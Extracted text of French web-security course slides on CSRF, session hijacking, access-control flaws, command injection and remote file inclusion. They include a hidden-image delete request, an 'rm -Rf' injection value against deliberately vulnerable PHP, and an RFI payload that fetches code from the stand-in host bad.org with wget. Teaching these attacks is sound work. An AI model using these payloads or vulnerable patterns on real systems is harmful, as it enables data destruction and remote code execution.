<img src='article.php?id=3&action=del'
width='0'>
…
SGBD
1
membre d’un
site protégé
2
<img
src='article.php?id=3&action=del'
width='0'>
GET article.php?id=3&action=read
membre d’un
site protégé

91. 55
Ajouter un commentaire
…
<img src='article.php?id=3&action=del'
width='0'>
…
<img
src='article.php?id=3&action=del'
width='0'>
SGBD
1
membre d’un
site protégé
2
3
GET article.php?id=3&action=read
membre d’un
site protégé
<img src='article.php?id=3&action=del' width='0'>

92. 56
Ajouter un commentaire
…
<img src='article.php?id=3&action=del'
width='0'>
…
<img
src='article.php?id=3&action=del'
width='0'>
SGBD
1
membre d’un
site protégé
2
GET article.php?id=3&action=read
membre d’un
site protégé
4
3
<img src='article.php?id=3&action=del' width='0'>
GET http://.../article.php?id=3&action=del

93. Les attaques sur
les sessions

94. Mauvaise gestion des sessions et de l’authentification
HTTP est un protocole sans état
•Les identifiants doivent donc être passés à chaque requête.
•Il faut utiliser SSL pour toute authentification
Failles dans la gestion de l’authentification
•Des ID de sessions sont utilisés pour maintenir la session dans HTTP
car il ne le peut lui.
•Cela suffit à un attaquant, c’est aussi interessant qu’un identifiant
•Les ID de sessions sont souvent exposés dans les sessions réseau, dans
les browsers (cookies), dans les logs, ….
Attention aux portes dérobées…
•Changement de mot de passe, se souvenir de mon passe, oubli de mot
de passe, questions secretes, logout, email, …
Impact
•Vol de session ou compromission de comptes utilisateur

95. www.boi.com?JSESSIONID=9FA1DB9EA...
Le site récrit l’URL
(i.e., mise dans l’URL de
l’ID de session)
3
5
Communication
Knowledge
Mgmt
E-Commerce
Bus. Functions
Utilisateur envoie ses
identifiants
Accounts
Finance
1
Administration
Transactions
Illustration d’une mauvaise authentification
Custom Code
2
L’utilisateur clique sur un lien vers
http://www.hacker.com dans un forum
L’attaquant regarde les logs “Referer” sur
www.hacker.com
Et découvre le JSESSIONID
L’attaquant peut utiliser
le JSESSIONID sur le site
boi.com pour son méfait
4

96. Contre Mesure
 Vérifier l’architecture !
 L’authentification doit être simple, centralisée et standardisée
 Utiliser le mécanisme standard de gestion des cookies du
framework (ils sont globalement fiables)
 Utiliser constamment SSL pour protéger les identifiants de
connexion et de sessions
 Vérifier l’implémentation
 Oublier l’analyse automatique
 Vérifier le certificat SSL (SSLv2, renégociation, chiffrement
faible, …)
 Examiner toutes les fonctions relatives a l’authentification
 Vérifier que la déconnexion supprime bien la session !

97. Vol de session
1.
Envoi de nombreux e-mail aux clients L'attaquant forge
un e-mail trompeur et l'envoie massivement à toutes les
adresses e-mail des clients.
2.
Certains utilisateurs ouvrent l' e-mail et cliquent sur le
lien Certains utilisateurs déjà connectés sur l'application
ouvrent le message et visitent le site. Leurs navigateurs
répercutent la requête XSS vers le serveur Client.
3.
Le serveur renvoie la page contenant le javascript
malicieux.
4.
Les navigateurs renvoient les cookies de session au
pirate.
5.
Le pirate récupère les cookies et ouvrent les sessions.
-Le serveur doit être vulnérable au Cross Site Scripting ;
- Le pirate connaît l' e-mail d'un utilisateur connecté au site
affecté par la vulnérabilité ;
- L'utilisateur accepte d'ouvrir un e-mail ou de visiter un lien
URL reçu par e-mail.

98. 58
Détournement de session

Session repose sur un identifiant unique
1
login=zorro&passwd=paszorro
sessid=21000
3
sessid=21000
Bonjour Zorro
article=12&action=sel
2

99. 59
Détournement de session
Session repose sur un identifiant unique
 Détourner une session = fournir un id valide

1
login=zorro&passwd=paszorro
sessid=21000
3
sessid=21000
sessid=21000
Bonjour Zorro
2
article=12&action=voir
article=5&action=supprimer

100. Détournement de session
60
Session repose sur un identifiant unique
 Détourner une session = fournir un id valide
 Identifiant transmis par :

Cookie
 URL (query string)


Champ caché de formulaire

101. Détournement de session
61
Session repose sur un identifiant unique
 Détourner une session = fournir un id valide
 Identifiant transmis par cookie, URL, champ form.
 Attaques pour obtenir un identifiant valide


Prédiction
id = nombre entier incrémenté

102. Détournement de session
Session repose sur un identifiant unique
 Détourner une session = fournir un id valide
 Identifiant transmis par cookie, URL, champ form.
 Attaques pour obtenir un identifiant valide

Prédiction
 Vol
o id dans l’URL (historique, bookmark, logs, envoi par mail, …)
o vol de cookie (XSS, ordinateur public)

o
o
interception (écoute réseau)
consultation des fichiers de session sur le serveur

103. Les vulnérabilités d’authentification
et l’autorisation

104. Brute force
Brute Force:
Processus automatisé "d'essai et d'erreur" utilisé pour deviner le
login d'une personne, son mot de passe, le numéros de carte de
crédit, ou une clé cryptographique.
Normal:
Login
2 types:
Renversé:
Login
1
N
N
1
Mot de passe
Mot de passe
Exemple:
Username = Jon
Passwords = smith, michael-jordan, [pet names], [birthdays],
[car
names], ….
Usernames = Jon, Dan, Ed, Sara, Barbara, …..
Password = 12345678

105. Insufficient Authentification
Insufficient Authentification:
C’est le fait de permettre à un attaquant d'accéder à des contenues ou
des fonctionnalités critiques sans pour autant être authentifié. Ceci est
dû au fait que certaines ressources sont protégées juste en "cachant"
leur emplacement et de ne pas les lier à aucune page du site web, cette
approche pour la sécurité est dite “Security Through Obscurity”.
Exemple:
Beaucoup d'applications Web ont été conçus avec des fonctionnalités
d’administration à distance, des fonctionnalités se trouvant hors du
répertoire racine (/ admin /). Généralement, ce répertoire n’est pas liés
à aucune des pages du site. Par contre, cet emplacement reste
accessible en utilisant le navigateur.

106. Insufficient Authorization
Insufficient Authorization:
Ceci arrive lorsqu'un site web permet à un attaquant
d'accéder à des contenues critiques ou des
fonctionnalités sans pour autant avoir les autorisations
nécessaires.
Exemple:
Même exemple pour /admin/ mais
authentifier.
cette fois après s’être

107. L’escalade de privilège




L’escalade de privilège est une technique qui permet
d’exploiter un bug où une erreur de configuration dans une
application pour accéder à des ressources protéger.
Cette technique permet de dépasser les droits légitimes en
usurpant l'identité d'une application ayant des droits
supérieurs.
Réalisation:
 Exploitation des bugs
 Maintenir l'accès
Conséquences:
 Accès à des ressources systèmes.
 Usurpation d'identité.
 Mise en place d'une porte dérobée

108. L’escalade de privilège
Le privilèges escalation: ce la possibilité pour qu’un utilsateur modifier ses
privilèges ou rôles dans l’application, généralement l’objectif est d’obtenir les
droits de l’administrateur de l’application.
Deux types d’escalades des priviléges:
 Vertical escalation: Obtenir plus de privilèges(Rôle administrateur).
• L’utilisateur A a accès à son compte en banque dans une application web via
internet.
• La vulnérabilité se produit lorsque l'utilisateur A accède au compte
administrateur d’application web en effectuant une sorte d'activité
malveillante.
 Horizontal escalation:
Effectuer des actions ou d’accéder aux ressources
sur des comptes d’autres utilisateurs.
• L’utilisateur A a accès à son compte en banque dans une application web via
internet. L'utilisateur B a accès à son compte en banque dans la même
application.
• La vulnérabilité se produit lorsque l'utilisateur A accède au compte bancaire
de l'utilisateur B en effectuant une sorte d'activité malveillante.

109. Référence directe non sécurisée à un objet
Comment accéder aux données privées
• C’est une manière de renforcer les habilitations en lien avec
Mauvaise restriction d’accès à une URL
Des erreurs classiques
• Attendre uniquement de l’utilisateur des accès à des objets
autorisés ou
• Cacher des références à des objets dans des champs cachés
• … et ne pas renforcer les restrictions coté serveur.
• Ceci n’est qu’une tentative de contrôle d’accès sur la
présentation et ne fonctionne pas !
• Un attaquant n’a qu’a modifier les valeurs des paramètres…
Impact
• Un utilisateur a accès à des données ou des fichiers
normalement interdits

110. Référence directe non sécurisée à un objet illustrée
https://www.onlinebank.com/user?acct=
6065
 L’attaquant note le
paramètre acct =
6065
?acct=6065
 Il modifie celui-ci
de la manière
suivante
?acct=6066
 L’attaquant
visualise un autre
compte.

111. Référence directe non sécurisée à un objet illustrée
Mauvaise restriction d’URL illustrée
https://www.onlinebank.com/user/getAccounts
https://www.onlinebank.com/user/getAccounts
 L’attaquant note dans
l’URL que le rôle est
affiché
/user/getAccounts
 Il modifie directement
l’URL (le rôle)
/admin/getAccounts,
ou
/manager/getAccounts
 L’attaquant dispose de
privilèges
supplémentaires

112. Référence directe non sécurisée à un objet illustrée
Mauvaise restriction d’URL illustrée
https://www.onlinebank.com/user/getAccounts
https://www.onlinebank.com/user/getAccounts
 L’attaquant note dans
l’URL que le rôle est
affiché
/user/getAccounts
 Il modifie directement
l’URL (le rôle)
/admin/getAccounts,
ou
/manager/getAccounts
 L’attaquant dispose de
privilèges
supplémentaires

113. La manipulation des fichiers

114. Directory indexing
Directory indexing:
Listage/Indexation automatique d’un répertoire est une fonction
de serveur web qui liste tous les fichiers dans un répertoire
demandé si le fichier de base (index.html / home.html /
default.htm) n'est pas présent. De ce fait, des informations
critiques peuvent être obtenues.
Exemple:
Présence de fichiers .bak .old et même des .conf .config

115. Remote File Include
 La technique du file include permet d’exécuter du
code dynamique héberger sur un serveur distante sur
le serveur cible,
 L’utilisation d’un include() revient à faire un simple
copié-collé : le code du fichier appelé est inséré à
l’intérieur de la page appelante, à l’endroit exact où
se trouve la fonction.
 Cette attaque est née suite au mauvais appel des
paramètres par la fonction include().

116. listing.php
1
<?php
echo system("ls -1 *.".$_GET['ext']);
?>
/listing.php?ext=php;cd/;rm+-Rf+*
2
ls -1 *.
php;cd/;rm+-Rf+*
3
cnx.php
index.php
connectBase.php
listing.php
4
/
5

117. 45
<?php
afficheFormCommande();
?>
commande.php
3
test.php?p=commande
1
2
<?php
require($_GET['p'].".php");
?>
test.php

118. 46
Injection du caractère null 0
test.php?p=http://bad.org/bad.txt%00
1
<?php
require($_GET['p'].".php");
?>
test.php

119. 47
bad.org
GET bad.txt
2
test.php?p=http://bad.org/bad.txt%00
1
<?php
require($_GET['p'].".php");
?>
test.php

120. 48
bad.txt
bad.org
<?php
echo system('cd /tmp; ls;
wget http://bad.org/exec; ls');
?>
3
GET bad.txt
2
test.php?p=http://bad.org/bad.txt%00
1
<?php
require($_GET['p'].".php");
?>
test.php <?php
echo system('cd /tmp; ls;
wget http://bad.org/exec; ls');
?>

121. 49
bad.txt
bad.org
<?php
echo system('cd /tmp; ls;
wget http://bad.org/exec; ls');
?>
3
GET bad.txt
2
test.php?p=http://bad.org/bad.txt%00
1
4
cd /tmp; ls
<?php
require($_GET['p'].".php");
?>
test.php <?php
/tmp
echo system('cd /tmp; ls;
wget http://bad.org/exec; ls');
?>

122. 50
bad.txt
bad.org
<?php
echo system('cd /tmp; ls;
wget http://bad.org/exec; ls');
?>
5
3
exec
GET bad.txt
2
test.php?p=http:/